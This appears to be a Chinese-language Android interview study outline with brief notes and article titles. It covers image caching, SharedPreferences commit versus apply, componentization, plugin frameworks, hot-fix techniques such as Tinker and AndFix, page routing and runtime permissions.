关于Android图片的多级缓存,其中主要的就是内存缓存和硬盘缓存。它的核心思想是:
Bitmap详解与Bitmap的内存优化
Android性能调优(5)—Bitmap内存模型
Android面试一天一题(Day 22: 图片到底是什么)
Android使用BitmapRegionDecoder加载超大图片方案
Android性能调优(6)—Bitmap优化
彻底解析Android缓存机制——LruCache
浅谈图片加载的三级缓存
安卓中五种数据存储方式
【Android开源项目分析】android轻量级开源缓存框架——ASimpleCache(ACache)源码分析
【从 0 开始开发一款直播 APP】6 缓存 ACache 源码解析
Android记录20-获取缓存大小和清除缓存功能
SharedPreferences是个单例,具体实现在SharedPrefencesImpl。任意Context拿到的都是同一个实例。
SharedPreferences在实例化的时候会把SharedPreferences对应的xml文件内容通过pull解析全部读取到内存当中(mMap)。
关于读操作:对于非多进程兼容的SharedPreferences的读操作是从内存读取的,不涉及IO操作。写入的时候由于内存已经保存了完整的xml数据,然后新写入的数据也会同步更新到内存,所以无论是用commit还是apply都不会影响立即读取。
关于写操作:除非需要关心xml是否写入文件成功,否则你应该在所有调用commit的地方改用apply。
apply比commit效率高,commit直接是向物理介质写入内容,而apply是先同步将内容提交到内存,然后在异步的向物理介质写入内容。这样做显然提高了效率。
Android面试一天一题(14 Day:SharedPreferences)
SharedPreferences多进程共享数据爬坑之旅
深入理解Android SharedPreferences的commit与apply
SharedPreferences commit跟apply的区别
组件化开发就是将一个app分成多个模块,每个模块都是一个组件(Module),开发的过程中我们可以让这些组件相互依赖或者单独调试部分组件等,但是最终发布的时候是将这些组件合并统一成一个apk,这就是组件化开发。
组件化只是一种项目架构的思想,并没有具体的实现方案,需要根据公司的业务、项目性质等进行具体实现。一般的套路如下:
组件化中,最好提供一个统一路由方案实现模块之间的分发和跳转。
Android组件化和插件化开发
Android组件化方案
插件化开发和组件化开发略有不用,插件化开发时将整个app拆分成很多模块,这些模块包括一个宿主和多个插件,与组件化最大的不同是:插件化中每个模块都是一个单独的apk(组件化的每个模块是个lib),最终打包的时候将宿主apk和插件apk分开或者联合打包。
AndroidDynamicLoader:Android 动态加载框架,他不是用代理 Activity 的方式实现而是用 Fragment 以及 Schema 的方式实现
PluginMgr:不需要插件规范的apk动态加载框架。
Dynamic-load-apk:Android 使用动态加载框架DL进行插件化开发
Direct-Load-apk:Direct - load - apk 能够加载插件的全部 资源. 支持 插件间 Activity跳转. 不像 “dynamic load - apk” 这个项目, “Direct - load - apk” 不需要对插件有任何约束,也不需要在插件中引入jar和继承自定义Activity,可以直接使用this指针。
Android-Plugin-Framework:此项目是Android插件开发框架完整源码及示例。用来通过动态加载的方式在宿主程序中运行插件APK
ACDD:非代理Android动态部署框架
DynamicAPK:实现Android App多apk插件化和动态加载,支持资源分包和热修复.携程App的插件化和动态加载框架
比较新的,有代表性的有下面4个:
DroidPlugin:是360手机助手在Android系统上实现了一种新的插件机制
Small:世界那么大,组件那么小。Small,做最轻巧的跨平台插件化框架
VirtualAPK:VirtualAPK是滴滴出行自研的一款优秀的插件化框架
RePlugin:RePlugin是一套完整的、稳定的、适合全面使用的,占坑类插件化方案,由360手机卫士的RePlugin Team研发,也是业内首个提出”全面插件化“(全面特性、全面兼容、全面使用)的方案
Android插件化技术入门
插件化开发小结
Android博客周刊专题之 插件化开发
Android开源插件化框架汇总
从流程来看,传统的开发流程存在很多弊端:
而热修复的开发流程显得更加灵活,优势很多:
超级补丁技术基于DEX分包方案,使用了多DEX加载的原理,大致的过程就是:把BUG方法修复以后,放到一个单独的DEX里,插入到dexElements数组的最前面,让虚拟机去优先加载修复完后的方法。
当patch.dex中包含Test.class时就会优先加载,在后续的DEX中遇到Test.class的话就会直接返回而不去加载,这样就达到了修复的目的。
微信针对QQ空间超级补丁技术的不足提出了一个提供DEX差量包,整体替换DEX的方案。主要的原理是与QQ空间超级补丁技术基本相同,区别在于不再将patch.dex增加到elements数组中,而是差量的方式给出patch.dex,然后将patch.dex与应用的classes.dex合并,然后整体替换掉旧的DEX文件,以达到修复的目的。
AndFix不同于QQ空间超级补丁技术和微信Tinker通过增加或替换整个DEX的方案,提供了一种运行时通过Hook Native方法,在Native修改Filed指针的方式,实现Java方法的替换,达到即时生效无需重启,对应用无性能消耗的目的。
主要原理:在每个方法前加入一段代码,如果patch.jar存在,则加载patch.jar中的代码片段,否则执行原本的代码片段。
Amigo 原理与 Tinker 基本相同,但是在 Tinker 的基础上,进一步实现了 so 文件、资源文件、Activity、BroadcastReceiver 的修复,几乎可以号称全面修复,不愧 Amigo(朋友)这个称号,能在危急时刻送来全面的帮助。
Android热修复技术选型——三大流派解析
Android 插件化和热修复知识梳理
根据路由表将页面请求分发到指定页面。
路由注册
路由表生成
路由分发
结果返回
动态拦截
参数获取
需要给activity跳转增加路由么?
Android 组件化 —— 路由设计最佳实践
Android 路由框架ARouter最佳实践
开源最佳实践:Android平台页面路由框架ARouter
一款可能是最容易使用的对页面、服务的路由框架。使用APT实现
RouterKit
注意:
APP要适配Android6.0非常简单,只需要在清单文件中配声明权限,然后将targetSdkVersion升级到23及以上,同时加入权限检查、申请、处理申请结果等代码逻辑即可。
相关重要API:
权限适配的代码封装,同时也可以使用一些封装好的开源库:MPermission、RxPermission等
Android 权限机制与适配经验(QQ音乐)
Android 6.0 运行时权限处理完全解析(鸿洋)
http://hencoder.com/
Android新特性介绍,ConstraintLayout完全解析
大纲
Android工程师之Android面试大纲
面试复习——Android工程师之Android面试大纲
欢迎进入Hensen_的博客目录(全站式导航)